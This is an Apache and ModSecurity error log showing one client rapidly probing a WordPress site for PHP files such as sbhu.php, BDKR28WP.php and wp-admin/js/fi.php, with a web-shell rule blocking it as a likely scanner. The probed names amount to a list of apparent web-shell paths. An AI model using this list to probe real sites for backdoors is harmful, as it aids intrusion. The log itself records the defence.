[Tue Apr 14 22:02:31.534523 2026] [:error] [pid 60074:tid 60094] [client 20.188.36.87:13375] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "ad5I9-tqnEmNU9vpHCm07QAAANI"]
[Tue Apr 14 22:02:32.006224 2026] [:error] [pid 3810:tid 3825] [client 20.188.36.87:13374] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "ad5I-Mqc5XaYZhFXVGe5PQAAAYw"]
[Tue Apr 14 22:02:32.477953 2026] [:error] [pid 22177:tid 22182] [client 20.188.36.87:13371] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "ad5I-ITVeJSXHDIlEDuRuQAAAQM"]
[Tue Apr 14 22:02:32.948512 2026] [:error] [pid 59987:tid 60056] [client 20.188.36.87:13344] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "ad5I-FWpk-Tfi6_vLKpB4wAAAIk"]
[Tue Apr 14 22:02:33.422653 2026] [:error] [pid 59987:tid 60053] [client 20.188.36.87:13408] File does not exist: /usr/local/apache/htdocs/suspended-page/sbhu.php
[Tue Apr 14 22:02:33.661903 2026] [:error] [pid 59987:tid 60048] [client 20.188.36.87:13408] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Tue Apr 14 22:02:34.381732 2026] [:error] [pid 59987:tid 60060] [client 20.188.36.87:13408] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Tue Apr 14 22:02:34.620481 2026] [:error] [pid 59987:tid 60062] [client 20.188.36.87:13408] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Tue Apr 14 22:02:34.860003 2026] [:error] [pid 59987:tid 60057] [client 20.188.36.87:13408] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Tue Apr 14 22:02:35.098805 2026] [:error] [pid 59987:tid 60059] [client 20.188.36.87:13408] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Tue Apr 14 22:02:35.337494 2026] [:error] [pid 59987:tid 60051] [client 20.188.36.87:13408] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Tue Apr 14 22:02:35.814615 2026] [:error] [pid 59987:tid 60055] [client 20.188.36.87:13408] File does not exist: /usr/local/apache/htdocs/suspended-page/fff.php
[Tue Apr 14 22:02:36.050737 2026] [:error] [pid 59987:tid 60047] [client 20.188.36.87:13408] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "ad5I_FWpk-Tfi6_vLKpB8QAAAIA"]
[Tue Apr 14 22:02:36.528081 2026] [:error] [pid 59985:tid 60002] [client 20.188.36.87:11255] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "ad5I_OgHaxkvLE6V1klscQAAAAk"]
[Tue Apr 14 22:02:36.998051 2026] [:error] [pid 60074:tid 60082] [client 20.188.36.87:11235] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "ad5I_OtqnEmNU9vpHCm0_AAAAMY"]
[Tue Apr 14 22:02:37.467813 2026] [:error] [pid 60074:tid 60096] [client 20.188.36.87:11182] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "ad5I_etqnEmNU9vpHCm0_wAAANQ"]
[Tue Apr 14 22:02:37.939776 2026] [:error] [pid 59986:tid 60037] [client 20.188.36.87:13318] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "ad5I_Z6axKeW6bX4H7eVWgAAAFE"]
[Tue Apr 14 22:02:38.411402 2026] [:error] [pid 60074:tid 60093] [client 20.188.36.87:11222] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "ad5I_utqnEmNU9vpHCm1BwAAANE"]
[Tue Apr 14 22:02:38.883206 2026] [:error] [pid 60074:tid 60091] [client 20.188.36.87:13473] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "ad5I_utqnEmNU9vpHCm1DQAAAM8"]
[Tue Apr 14 22:02:39.353988 2026] [:error] [pid 60074:tid 60084] [client 20.188.36.87:11245] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "ad5I_-tqnEmNU9vpHCm1EQAAAMg"]
[Tue Apr 14 22:02:39.824914 2026] [:error] [pid 22177:tid 22201] [client 20.188.36.87:11236] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "ad5I_4TVeJSXHDIlEDuR0wAAARY"]
[Tue Apr 14 22:02:40.296695 2026] [:error] [pid 3810:tid 3828] [client 20.188.36.87:11234] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "ad5JAMqc5XaYZhFXVGe5RAAAAY8"]
[Tue Apr 14 22:02:40.768069 2026] [:error] [pid 60074:tid 60088] [client 20.188.36.87:13420] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "ad5JAOtqnEmNU9vpHCm1GAAAAMw"]
[Tue Apr 14 22:02:41.249568 2026] [:error] [pid 59987:tid 60064] [client 20.188.36.87:11203] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "ad5JAVWpk-Tfi6_vLKpB-AAAAJE"]
[Tue Apr 14 22:02:41.721018 2026] [:error] [pid 59987:tid 60057] [client 20.188.36.87:13485] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "ad5JAVWpk-Tfi6_vLKpB-gAAAIo"]
[Tue Apr 14 22:02:42.191678 2026] [:error] [pid 59985:tid 60001] [client 20.188.36.87:11137] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "ad5JAugHaxkvLE6V1klsdwAAAAg"]
[Tue Apr 14 22:02:42.663598 2026] [:error] [pid 60074:tid 60080] [client 20.188.36.87:11158] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "ad5JAutqnEmNU9vpHCm1GwAAAMQ"]
[Tue Apr 14 22:02:43.137687 2026] [:error] [pid 22177:tid 22199] [client 20.188.36.87:11136] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "ad5JA4TVeJSXHDIlEDuR2AAAARQ"]
[Tue Apr 14 22:02:43.614375 2026] [:error] [pid 60074:tid 60086] [client 20.188.36.87:11256] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "ad5JA-tqnEmNU9vpHCm1HwAAAMo"]
[Tue Apr 14 22:02:44.089265 2026] [:error] [pid 3810:tid 3813] [client 20.188.36.87:11171] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "ad5JBMqc5XaYZhFXVGe5TAAAAYA"]
[Tue Apr 14 22:02:44.560534 2026] [:error] [pid 60074:tid 60085] [client 20.188.36.87:11237] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "ad5JBOtqnEmNU9vpHCm1IwAAAMk"]
[Tue Apr 14 22:02:45.032349 2026] [:error] [pid 3778:tid 3793] [client 20.188.36.87:11153] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "ad5JBRx5DfpNmYF_PaH3egAAAU0"]
[Tue Apr 14 22:02:45.504614 2026] [:error] [pid 59986:tid 60032] [client 20.188.36.87:13370] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "ad5JBZ6axKeW6bX4H7eVZQAAAEw"]
[Tue Apr 14 22:02:45.975312 2026] [:error] [pid 22177:tid 22183] [client 20.188.36.87:11253] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "ad5JBYTVeJSXHDIlEDuR2QAAAQQ"]
[Tue Apr 14 22:02:46.446114 2026] [:error] [pid 59986:tid 60027] [client 20.188.36.87:13432] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "ad5JBp6axKeW6bX4H7eVbAAAAEc"]
[Tue Apr 14 22:02:46.915799 2026] [:error] [pid 59986:tid 60034] [client 20.188.36.87:13501] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "ad5JBp6axKeW6bX4H7eVcAAAAE4"]
[Tue Apr 14 22:02:47.386343 2026] [:error] [pid 59985:tid 59995] [client 20.188.36.87:11227] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ad5JB-gHaxkvLE6V1klsewAAAAI"]
[Tue Apr 14 22:02:47.856801 2026] [:error] [pid 22177:tid 22185] [client 20.188.36.87:11217] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ad5JB4TVeJSXHDIlEDuR3AAAAQY"]
[Tue Apr 14 22:02:48.327509 2026] [:error] [pid 3778:tid 3783] [client 20.188.36.87:11223] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ad5JCBx5DfpNmYF_PaH3ewAAAUM"]
[Tue Apr 14 22:02:48.802285 2026] [:error] [pid 59986:tid 60041] [client 20.188.36.87:11232] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ad5JCJ6axKeW6bX4H7eVfgAAAFU"]
[Tue Apr 14 22:02:49.273843 2026] [:error] [pid 22177:tid 22179] [client 20.188.36.87:13555] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ad5JCYTVeJSXHDIlEDuR3QAAAQA"]
[Tue Apr 14 22:02:49.745007 2026] [:error] [pid 3778:tid 3797] [client 20.188.36.87:11251] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ad5JCRx5DfpNmYF_PaH3ggAAAVE"]
[Tue Apr 14 22:02:50.216179 2026] [:error] [pid 3810:tid 3831] [client 20.188.36.87:11219] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ad5JCsqc5XaYZhFXVGe5XwAAAZI"]
[Tue Apr 14 22:02:50.686970 2026] [:error] [pid 59986:tid 60036] [client 20.188.36.87:11204] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ad5JCp6axKeW6bX4H7eViwAAAFA"]
[Tue Apr 14 22:02:51.158536 2026] [:error] [pid 3810:tid 3826] [client 20.188.36.87:11229] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "ad5JC8qc5XaYZhFXVGe5ZwAAAY0"]
[Tue Apr 14 22:02:51.628998 2026] [:error] [pid 59986:tid 60037] [client 20.188.36.87:11072] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "ad5JC56axKeW6bX4H7eVkQAAAFE"]
[Tue Apr 14 22:02:52.100040 2026] [:error] [pid 3810:tid 3813] [client 20.188.36.87:11218] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "ad5JDMqc5XaYZhFXVGe5bQAAAYA"]
[Tue Apr 14 22:02:52.570592 2026] [:error] [pid 59986:tid 60036] [client 20.188.36.87:11210] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "ad5JDJ6axKeW6bX4H7eVlQAAAFA"]
[Tue Apr 14 22:02:53.070883 2026] [:error] [pid 59986:tid 60030] [client 20.188.36.87:13397] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "ad5JDZ6axKeW6bX4H7eVmQAAAEo"]
[Tue Apr 14 22:02:53.542168 2026] [:error] [pid 3778:tid 3800] [client 20.188.36.87:11186] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "ad5JDRx5DfpNmYF_PaH3hQAAAVQ"]
[Tue Apr 14 22:02:54.013774 2026] [:error] [pid 59986:tid 60038] [client 20.188.36.87:13373] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "ad5JDp6axKeW6bX4H7eVoQAAAFI"]
[Tue Apr 14 22:02:54.483987 2026] [:error] [pid 3810:tid 3827] [client 20.188.36.87:11263] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "ad5JDsqc5XaYZhFXVGe5cQAAAY4"]
[Tue Apr 14 22:02:54.955945 2026] [:error] [pid 59986:tid 60041] [client 20.188.36.87:11248] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ad5JDp6axKeW6bX4H7eVpAAAAFU"]
[Tue Apr 14 22:02:55.431011 2026] [:error] [pid 3810:tid 3828] [client 20.188.36.87:11144] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ad5JD8qc5XaYZhFXVGe5cgAAAY8"]
[Tue Apr 14 22:02:55.901922 2026] [:error] [pid 60074:tid 60098] [client 20.188.36.87:13325] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ad5JD-tqnEmNU9vpHCm1KAAAANY"]
[Tue Apr 14 22:02:56.372170 2026] [:error] [pid 3810:tid 3830] [client 20.188.36.87:11213] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ad5JEMqc5XaYZhFXVGe5eAAAAZE"]
[Tue Apr 14 22:02:56.842920 2026] [:error] [pid 3778:tid 3794] [client 20.188.36.87:11140] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "ad5JEBx5DfpNmYF_PaH3lQAAAU4"]
[Tue Apr 14 22:02:57.320657 2026] [:error] [pid 59986:tid 60025] [client 20.188.36.87:11212] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "ad5JEZ6axKeW6bX4H7eVqwAAAEU"]
[Tue Apr 14 22:02:57.792384 2026] [:error] [pid 22177:tid 22181] [client 20.188.36.87:11260] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "ad5JEYTVeJSXHDIlEDuR4AAAAQI"]
[Tue Apr 14 22:02:58.264150 2026] [:error] [pid 3810:tid 3818] [client 20.188.36.87:11196] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "ad5JEsqc5XaYZhFXVGe5fgAAAYU"]
